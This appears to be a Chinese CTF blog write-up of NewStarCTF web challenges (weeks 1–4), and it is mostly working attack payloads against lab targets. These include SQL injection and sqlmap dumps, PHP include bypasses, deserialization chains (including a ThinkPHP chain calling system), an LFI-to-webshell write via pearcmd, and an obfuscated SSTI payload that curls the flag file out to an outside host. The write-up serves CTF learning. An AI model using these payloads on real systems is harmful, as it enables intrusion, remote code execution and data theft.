week1

web

HTTP

image-20220919151730390

POST /?name=admin HTTP/1.1
Host: 006f9884-5697-46c3-a828-2dc3fe795645.node4.buuoj.cn:81
Content-Length: 13
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://006f9884-5697-46c3-a828-2dc3fe795645.node4.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://006f9884-5697-46c3-a828-2dc3fe795645.node4.buuoj.cn:81/?name=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,ru;q=0.6,ja;q=0.5
Cookie: user=admin
Connection: close

key=c
tfisgood

Head?Header!

image-20220919151815789

GET / HTTP/1.1
Host: node4.buuoj.cn:28724
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: CTF
Referer: ctf.com
X-Forwarded-for: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,ru;q=0.6,ja;q=0.5
Connection: close

NotPHP

image-20220919152136200

?data=data://text/plain,Welcome to CTF&key1[]=1&key2[]=2&cmd=%0asystem('cat /flag');
num=2077a

我真的会谢

image-20220919152354501

信息泄露:

robots.txt`.index.php.swp`www.zip

flag: flag{Th1s_Is_s000_e4sy_d0_y00u_th1nk_so?}

Word-For-You

sqlmap一把梭

python .\sqlmap.py -u http://b69c0484-9868-47cb-9686-639e953b0760.node4.buuoj.cn:81/comments.php --data="name=NewCTFer" --level 3 --risk 3 -D wfy -T wfy_information --dump-all

图片.png

Week2

web

Word-For-You(2 Gen)

image-20220927114126914

python .\sqlmap.py -u http://1d0e5388-8e25-41c4-9342-4a086aad41a4.node4.buuoj.cn:81/comments.php --data="name=NewCTFer" --random-agent -D wfy --dump-all

一样的sqlmap一把梭,没啥难度

IncludeOne

源码:

<?php
highlight_file(__FILE__);
error_reporting(0);
include("seed.php");
//mt_srand(*********);
echo "Hint: ".mt_rand()."<br>";
if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){
    if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){
        //flag in `flag.php`
        include($_GET['file']);
    }else{
        echo "Baby Hacker?";
    }
}else{
    echo "No Hacker!";
}
  • 伪随机数爆破

image-20220927110218632

  • 正则绕过+编码绕过

image-20220927110232963

image-20220927110241772

payload:

?file=php://filter/read=string.rot13/NewStar/resource=./flag.php
guess=1202031004

UnserializeOne

源码

<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
    public $name;
    protected $func;

    public function __destruct()
    {
        echo "Welcome to NewStarCTF, ".$this->name;
    }

    public function __isset($var)
    {
        ($this->func)();
    }
}

class Sec{
    private $obj;
    private $var;

    public function __toString()
    {
        $this->obj->check($this->var);
        return "CTFers";
    }

    public function __invoke()
    {
        echo file_get_contents('/flag');
    }
}

class Easy{
    public $cla;

    public function __call($fun, $var)
    {
        $this->cla = clone $var[0];
    }
}

class eeee{
    public $obj;

    public function __clone()
    {
        if(isset($this->obj->cmd)){
            echo "success";
        }
    }
}

if(isset($_POST['pop'])){
    unserialize($_POST['pop']);
}

image-20220927121923112

非常简单的一条链子

<?php

class Start{
    public $name;
    protected $func;
    public function __construct($a)
    {
        $this->func=$a;
    }
}

class Sec{
    private $obj;
    private $var;
    public function __construct($a,$b)
    {
        $this->obj=$a;
        $this->var=$b;
    }

}

class Easy{
    public $cla;
}

class eeee{
    public $obj;
}


$St1 = new Start('pysnow');
$Ea1 = new Easy();
$ee1 = new eeee();
$Se2 = new Sec('pysnow','pysnow');


$St2 = new Start($Se2);
$ee1->obj=$St2;
$Se1 = new Sec($Ea1,$ee1);
$St1->name=$Se1;


$final = urlencode(serialize($St1));
echo $final;

ezAPI

<html>
    <body>
        <center>
            <h1>Search Page</h1><br>
            <hr><br>
            <form action="" method="post">
            请输入用户ID: 
            <input type="text" name="id">
            <input type="submit" value="Search">
            </form>
<?php
error_reporting(0);
$id = $_POST['id'];
function waf($str){
    if(!is_numeric($str) || preg_replace("/[0-9]/","",$str) !== ""){
        return False;
    }else{
        return True;
    }
}

function send($data)
{
    $options = array(
        'http' => array(
            'method' => 'POST',
            'header' => 'Content-type: application/json',
            'content' => $data,
            'timeout' => 10 * 60
        )
    );
    $context = stream_context_create($options);
    $result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);
    return $result;
}

if(isset($id)){
    if(waf($id)){
        isset($_POST['data']) ? $data=$_POST['data'] : $data='{"query":"query{\nusers_user_by_pk(id:'.$id.') {\nname\n}\n}\n", "variables":null}';
        $res = json_decode(send($data));
        if($res->data->users_user_by_pk->name !== NULL){
            echo "ID: ".$id."<br>Name: ".$res->data->users_user_by_pk->name;
        }else{
            echo "<b>Can't found it!</b><br>DEBUG: ";
            var_dump($res->data);
        }
    }else{
        die("<b>Hacker!</b>");
    }
}else{
    die("<b>No Data?</b>");
}
?>
</center>
</body>
</html>

一个graphql的api,而且能完全控制执行语句,回显结果也有,具体操作流程如下

data={"query":"{__schema {types {name}}}"}&id=1


data={"query":"\u0071\u0075\u0065\u0072\u0079\u007b\u005f\u005f\u0074\u0079\u0070\u0065\u0028\u006e\u0061\u006d\u0065\u003a\u0022\u0066\u0066\u0066\u0066\u006c\u006c\u006c\u006c\u0061\u0061\u0061\u0067\u0067\u0067\u0067\u005f\u0031\u006e\u005f\u0068\u0033\u0072\u0033\u005f\u0066\u006c\u0061\u0067\u0022\u0029\u007b\u0020\u0066\u0069\u0065\u006c\u0064\u0073\u0020\u007b\u0020\u0064\u0065\u0073\u0063\u0072\u0069\u0070\u0074\u0069\u006f\u006e\u0020\u006e\u0061\u006d\u0065\u0020\u0074\u0079\u0070\u0065\u0020\u007b\u0020\u006e\u0061\u006d\u0065\u0020\u006b\u0069\u006e\u0064\u0020\u006f\u0066\u0054\u0079\u0070\u0065\u0020\u007b\u0020\u006e\u0061\u006d\u0065\u0020\u006b\u0069\u006e\u0064\u0020\u0064\u0065\u0073\u0063\u0072\u0069\u0070\u0074\u0069\u006f\u006e\u007d\u007d\u007d\u007d\u007d"}&id=1
(query{__type(name:"ffffllllaaagggg_1n_h3r3_flag"){ fields { description name type { name kind ofType { name kind description}}}}})

data={"query":"query{ffffllllaaagggg_1n_h3r3_flag{flag}}"}&id=1

image-20220927165410447

image-20220927165348174

image-20220927170556268

Week3

web

BabySSTI_One

image-20221003115955205

存在ssti,直接拿我之前那个万能payload打就行了 https://pysnow.cn/archives/207/

{%for%0ai%0ain%0a""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u006d\u0072\u006f\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(1)|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()%}{%%0aif%0a(i|attr("\u005f\u005f\u006e\u0061\u006d\u0065\u005f\u005f"))=="\u0063\u0061\u0074\u0063\u0068\u005f\u0077\u0061\u0072\u006e\u0069\u006e\u0067\u0073"%0a%}{%%0aif%0a(i|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u0065\u0076\u0061\u006c")("__import__('os').popen('curl http://47.xxxxxxx.241:2333 -d `cat /f*`').read()")%}{%%0aendif%0a%}{%%0aendif%0a%}{%%0aendfor%0a%}

image-20221003120049731

image-20221003120104335

IncludeTwo

源码

 <?php
error_reporting(0);
highlight_file(__FILE__);
//Can you get shell? RCE via LFI if you get some trick,this question will be so easy!
if(!preg_match("/base64|rot13|filter/i",$_GET['file']) && isset($_GET['file'])){
    include($_GET['file'].".php");
}else{
    die("Hacker!");
} 

只能包含.php后缀,还要RCE,很明显使用pear.cmd

直接给出payload

?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1])?>+/var/www/html/pysnow.php

image-20221009230057011

image-20221009230147043

multiSQL

简单的堆叠注入

image-20221009202755700

查询结果

数据库
english
information_schema
mysql
performance_schema

表
score

列
username
listen
read
write

数据

火华
11
201
212

可以发现分数加起来刚好425,刚好有个verify.php,尝试修改分数到达及格线

然后发现update被过滤了,尝试其他函数代替

image-20221009224034237

payload

username=1';replace into score values("火华",999,999,999);#

image-20221009224413809

查一下发现还是之前那条数据,应该是重复了,用delete删掉就行

username=1';delete from score where listen=11;%23
username=1';HANDLER score OPEN;HANDLER score READ FIRST;HANDLER score CLOSE;%23

image-20221009224919190

然后访问就有了

Maybe You Have To think More

image-20221009230356766

index路由还给了个输入框,很明显就是反序列化入口点了,直接网上搜现成的payload打

image-20221009230720392

<?php
namespace think\process\pipes{

    use think\model\Pivot;

    class Windows
    {
        private $files = [];
        public function __construct(){
            $this->files[]=new Pivot();
        }
    }
}
namespace think{
    abstract class Model
    {
        protected $append = [];
        private $data = [];
        public function __construct(){
            $this->data=array(
              'pysnow'=>new Request()
            );
            $this->append=array(
                'pysnow'=>array(
                    'hello'=>'world'
                )
            );
        }
    }
}
namespace think\model{

    use think\Model;

    class Pivot extends Model
    {

    }
}
namespace think{
    class Request
    {
        protected $hook = [];
        protected $filter;
        protected $config = [
            // 表单请求类型伪装变量
            'var_method'       => '_method',
            // 表单ajax伪装变量
            'var_ajax'         => '',
            // 表单pjax伪装变量
            'var_pjax'         => '_pjax',
            // PATHINFO变量名 用于兼容模式
            'var_pathinfo'     => 's',
            // 兼容PATH_INFO获取
            'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
            // 默认全局过滤方法 用逗号分隔多个
            'default_filter'   => '',
            // 域名根,如thinkphp.cn
            'url_domain_root'  => '',
            // HTTPS代理标识
            'https_agent_name' => '',
            // IP代理获取标识
            'http_agent_ip'    => 'HTTP_X_REAL_IP',
            // URL伪静态后缀
            'url_html_suffix'  => 'html',
        ];
        public function __construct(){
            $this->hook['visible']=[$this,'isAjax'];
            $this->filter="system";
        }
    }
}
namespace{

    use think\process\pipes\Windows;

    echo base64_encode(serialize(new Windows()));
}

image-20221009232233726

image-20221009232311396

发现没有flag

image-20221009232341169

最后在环境变量

Week4

web

BabySSTI_Two

非常简单的绕过直接给payload了

image-20221009234349922

{{url_for.__getitem__['\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f']['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('这里填写eval函数的内容,然后用unicode编码一下就行')}}

{{url_for.__getitem__['\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f']['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f\u0028\u0027\u006f\u0073\u0027\u0029\u002e\u0070\u006f\u0070\u0065\u006e\u0028\u0027\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067\u005f\u0069\u006e\u005f\u0068\u0033\u0072\u0033\u005f\u0035\u0032\u0064\u0061\u0061\u0064\u0027\u0029\u002e\u0072\u0065\u0061\u0064\u0028\u0029')}}

image-20221009234456614

So Baby RCE

源码

<?php
error_reporting(0);
if(isset($_GET["cmd"])){
    if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){
       echo "Don't Hack Me";
    }else{
        system($_GET["cmd"]);
    }
}else{
    show_source(__FILE__);
}

就是简单的黑名单,根本没难度

?cmd=cd${IFS}..%26%26cd${IFS}..%26%26cd${IFS}..%26%26sort${IFS}ffff?lllaaaaggggg

image-20221009235907561

又一个SQL

又是一个revenge题,这道题在say.php那里存在insert注入,初始编号是100,每上传一条编号加一,插入语句猜测为

insert into wfy_comments('text','user','name') values ('$_POST['comment']','$_POST['user']','$_POST['name']');

image-20221010010508108

接着注入出数据

wfy_admin,wfy_comments,wfy_information
10.1.47-MariaDB-0ubuntu0.18.04.1
wfy_comments
    id,text,user,name,display

这里不能直接查出数据,因为会爆搓=>You can't specify target table 'users' for update in FROM clause

所以要嵌套个子查询,最终payload

user=1&name=2&comment=pysnow',(select text from (select text from wfy_comments where id=100)aa),'pyq')%23

image-20221010014909696

UnserializeThree

是phar反序列化,而且非常简单

源码

<?php
highlight_file(__FILE__);
class Evil{
    public $cmd;
    public function __destruct()
    {
        if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){
            //Same point ,can you bypass me again?
            eval("#".$this->cmd);
        }else{
            echo "No!";
        }
    }
}

file_exists($_GET['file']);

现在主要是考虑这个正则怎么绕过,这里我简单fuzz看一下,发现%0d是可以代替%0a绕过的

image-20221010020258173

%0d的作用是回车,也就是将光标移动到行首,也就是注释符前面,这样就绕过去了

exp

<?php

class Evil{
    public $cmd;
    public function __construct()
    {
        $this->cmd="\rsystem(\$_POST[1]);";
    }

}

$a = serialize(new Evil());

$zip = new ZipArchive();
$res = $zip->open('newstar.jpg',ZipArchive::CREATE); 
$zip->addFromString('crispr.txt', 'file content goes here');
$zip->setArchiveComment($a);
$zip->close();

image-20221010021817048

Rome

源码

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package remo.remo;

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class SerController {
    public SerController() {
    }

    @GetMapping({"/"})
    @ResponseBody
    public String helloCTF() {
        return "Do you like Jvav?";
    }

    @PostMapping({"/"})
    @ResponseBody
    public String helloCTF(@RequestParam String EXP) throws IOException, ClassNotFoundException {
        if (EXP.equals("")) {
            return "Do you know Rome Serializer?";
        } else {
            byte[] exp = Base64.getDecoder().decode(EXP);
            ByteArrayInputStream bytes = new ByteArrayInputStream(exp);
            ObjectInputStream objectInputStream = new ObjectInputStream(bytes);
            objectInputStream.readObject();
            return "Do You like Jvav?";
        }
    }
}

一眼定真,java反序列化

抱歉师傅们,java真不会,还没开始学

最后修改:2022 年 10 月 16 日
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